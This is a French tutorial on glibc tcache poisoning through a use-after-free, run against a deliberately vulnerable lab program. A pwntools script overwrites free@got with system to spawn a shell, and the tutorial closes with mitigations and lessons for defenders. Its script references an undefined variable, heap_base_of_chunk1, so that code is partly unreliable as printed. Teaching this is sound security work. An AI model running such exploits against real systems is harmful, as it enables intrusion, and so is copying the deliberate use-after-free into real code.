Aller au contenu

Exploitation du tas : tcache et use-after-free

Les métadonnées du tas sont la primitive d'écriture. Un use-after-free empoisonne le tcache de la glibc pour allouer un chunk à une adresse choisie.

Publié le 6 min de lecture

Ceci est le sixième tutoriel de l'espace Techniques d'exploitation, et le premier sur le tas. Les techniques de pile vues jusqu'ici écrasaient une adresse de retour ou une entrée GOT. L'exploitation du tas a une saveur différente : la primitive d'écriture provient de la corruption des métadonnées de l'allocateur lui-même, si bien que les classes de bugs (use-after-free, double free, débordement de tas) sont indissociables du fonctionnement de l'allocateur.

Le contexte conceptuel se trouve dans corruption du tas et use-after-free. Ici, nous en exploitons un dans le labo. Comme toujours : votre propre binaire, une VM jetable. Voir les règles du labo.

L'exploitation du tas est spécifique à la version de la glibc. Ce tutoriel cible une glibc avec tcache (2.26+) et signale les endroits où le safe-linking de la 2.32 change les choses. Vérifiez la vôtre avec ldd --version et adaptez ; les concepts se transfèrent, les octets exacts non.

Comment le tcache sert les allocations

Depuis la glibc 2.26, les petits chunks passés à free() vont dans le tcache : un tableau par thread de listes chaînées simples, une par classe de taille. La liste est enfilée à travers les chunks libérés eux-mêmes — un chunk libéré stocke le pointeur vers le prochain chunk libre (fd) dans son propre corps, là où se trouvaient les données utilisateur.

La liste de chunks libres du tcache s'enfile à travers les chunks libérés eux-mêmes
tcache[size]tête de liste
fd
chunk Ale fd dans le corps de A pointe vers B
fd
chunk Ble fd pointe plus loin
fd
NULLfin de la liste
writable memoryterminator

malloc(size) retourne le chunk A et positionne la tête de liste sur A->fd (= B).

La conséquence : celui qui contrôle le fd d'un chunk libéré contrôle l'endroit où atterrit le malloc suivant-mais-un. C'est tout l'enjeu.

La cible

Un petit allocateur à menu avec un use-after-free classique : free() n'efface pas le pointeur, et le programme vous laisse écrire dans un chunk libéré.

/* vuln.c — une démo de tas à menu avec un use-after-free. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *slots[8];

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    for (;;) {
        int op, i; 
        if (scanf("%d %d", &op, &i) != 2 || i < 0 || i >= 8) return 0;
        if (op == 1) slots[i] = malloc(0x30);                 /* alloc */
        else if (op == 2) free(slots[i]);                     /* free — pas d'effacement (UAF) */
        else if (op == 3) read(0, slots[i], 0x30);            /* écriture, même si libéré */
        else if (op == 4) { fwrite(slots[i], 1, 0x30, stdout); } /* relecture */
    }
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

Le bug est que op == 3 et op == 4 déréférencent toujours slots[i] après sa libération — un use-after-free d'école.

Étape 1 — fuiter une adresse du tas (safe-linking)

Sur la glibc 2.32+, le fd stocké n'est pas un pointeur brut mais pointeur XOR (adresse_chunk >> 12) — le safe-linking. Pour forger un fd valide, il faut connaître la base du tas. Une lecture UAF du fd d'un chunk libéré la fuite :

from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")

def alloc(i): io.sendline(b"1 %d" % i)
def free(i):  io.sendline(b"2 %d" % i)
def write(i, data): io.sendline(b"3 %d" % i); io.send(data)
def read_back(i): io.sendline(b"4 %d" % i); return io.recv(0x30)

alloc(0); free(0)
raw = u64(read_back(0)[:8])          # le fd (safe-linked) du seul chunk libéré
# Pour le premier free d'une classe de taille, fd vaut 0, donc la fuite = 0 XOR (heap>>12) = heap>>12
heap_base = raw << 12
log.success("heap base: %#x", heap_base)

Sur une glibc antérieure à la 2.32, il n'y a pas de safe-linking : le fd est un pointeur brut et cette étape est inutile. Passez directement à l'empoisonnement avec des adresses en clair.

Étape 2 — empoisonner le tcache

Libérez deux chunks pour donner de la profondeur à la liste, puis utilisez l'écriture UAF pour écraser le fd d'un chunk libéré avec notre cible (safe-linked si nécessaire). Deux allocations plus tard, malloc nous rend un chunk à l'adresse cible.

def protect(ptr, addr):              # transformation safe-linking de la glibc 2.32+
    return ptr ^ (addr >> 12)

target = context.binary.got["free"] # là où l'on veut que malloc place un chunk

alloc(1); alloc(2)
free(2); free(1)                     # tcache : 1 -> 2
# écrase le fd du chunk 1 pour pointer la liste vers `target`
write(1, p64(protect(target, heap_base_of_chunk1)))

alloc(3)                             # retourne le chunk 1
alloc(4)                             # retourne un chunk À `target`
write(4, p64(context.binary.plt["system"]))   # écrit sur free@got

Maintenant free(x) appelle system(x). Envoyez /bin/sh comme contenu d'un chunk et libérez-le :

alloc(5); write(5, b"/bin/sh\x00")
free(5)                              # free@got pointe maintenant sur system → system("/bin/sh")
io.interactive()

La cible exacte et le déclencheur final varient selon la glibc : avant la 2.34, vous pourriez écraser __free_hook directement ; les versions ultérieures privilégient une entrée GOT, _IO_2_1_stdout_ (FSOP) ou un gestionnaire exit. C'est la primitive — contrôler un fd, obtenir une allocation à une adresse choisie — qui se généralise.

Réactiver les mitigations

Les défenses du tas relèvent moins d'un drapeau de compilation que de l'allocateur et de l'outillage.

Safe-linking et clé de double free (déjà dans les glibc modernes)

  • Clé du tcache (glibc 2.29+) : chaque chunk libéré stocke une clé ; le libérer à nouveau est détecté — free(): double free detected in tcache 2 — ce qui neutralise l'empoisonnement naïf par double free.
  • Safe-linking (glibc 2.32+) : le fd est XORé avec chunk_addr >> 12, si bien qu'en forger un nécessite une fuite du tas (Étape 1). L'alignement du pointeur décodé est aussi vérifié. Ces mesures ne suppriment pas le bug, mais exigent davantage de l'attaquant.

AddressSanitizer le trouve avant la mise en production

gcc -fsanitize=address -g -o vuln_asan vuln.c

Exécuter la même interaction sous ASan signale le use-after-free précisément, au moment de l'accès pendant :

==...==ERROR: AddressSanitizer: heap-use-after-free on address 0x...
  READ of size ... freed by thread T0 here: ... in free
  previously allocated here: ... in malloc

C'est là qu'un UAF du tas devrait mourir — dans la CI, pas en production. Associez ASan au fuzzing guidé par la couverture pour atteindre les chemins qui le déclenchent.

Allocateurs durcis

Des allocateurs comme hardened_malloc et Scudo (Android/LLVM) ajoutent des pages de garde, un placement aléatoire et des contrôles d'intégrité des métadonnées plus stricts, rendant l'empoisonnement de type tcache bien plus difficile que sur une glibc standard.

DéfenseCe qu'elle fait à cet exploit
Clé de double free du tcache (2.29+)Bloque le double free naïf dans la même liste
Safe-linking (2.32+)Forger un fd nécessite désormais une fuite du tas
AddressSanitizerAttrape l'UAF à l'accès pendant, en test
Allocateur durci (hardened_malloc/Scudo)Pages de garde + contrôles d'intégrité battent l'empoisonnement des métadonnées
Langage sûr pour la mémoireSupprime entièrement la classe de bugs — voir langages sûrs pour la mémoire

Ce que cela enseigne à un défenseur

  • Les métadonnées sont la surface d'attaque. On ne peut pas raisonner sur la gravité d'un bug du tas sans connaître l'allocateur. Le même UAF est un crash sur un allocateur durci et un shell sur une glibc standard.
  • La version compte énormément. « On est sur une glibc récente » relève réellement le niveau (safe-linking, clé du tcache, hooks supprimés). Maintenir la plateforme à jour est ici une vraie mitigation, pas seulement de l'hygiène.
  • ASan + fuzzing est la réponse, pas un drapeau sur le binaire livré. ASan est un outil de détection pour la CI ; on ne le livre pas. La défense livrée, c'est de corriger le bug de durée de vie et, quand c'est possible, un allocateur durci et un langage sûr pour la mémoire.

Points clés à retenir

  • Le tcache enfile sa liste de chunks libres à travers les chunks libérés ; contrôler le fd d'un chunk libéré contrôle l'endroit où atterrit le malloc suivant-mais-un.
  • Une écriture use-after-free forge ce fd, donnant une allocation à une adresse choisie — une primitive d'écriture visant la GOT, un hook ou une structure de fichier.
  • La clé du tcache et le safe-linking de la glibc rendent le double free et la forge de pointeurs plus difficiles, et forcent une fuite du tas sur la 2.32+.
  • Les défenses durables sont AddressSanitizer dans la CI, les allocateurs durcis et les langages sûrs pour la mémoire — les drapeaux seuls ne corrigent pas les bugs de durée de vie.

Ceci clôt l'arc actuel de la série Techniques d'exploitation : ret2win → ROP → ret2libc → chaînes de format → écrasement de la GOT → le tas. Chaque technique s'est terminée sur la mitigation qui l'arrête — ce qui, lu d'ensemble, constitue une checklist pour le défenseur.

Guides associés

0x1000 · Classes de vulnérabilités

Débordements de tas, use-after-free et double free

Comment les bugs mémoire du tas corrompent l'allocateur et l'état des objets, pourquoi le use-after-free est si dangereux, et les défenses qui les arrêtent.

0x7000 · Techniques d'exploitation

Attaques FSOP : détourner un objet FILE

Les hooks partis, l'objet FILE devient la cible : un appel stdio passe par un pointeur de vtable inscriptible — corrompez-le et le prochain fwrite tombe.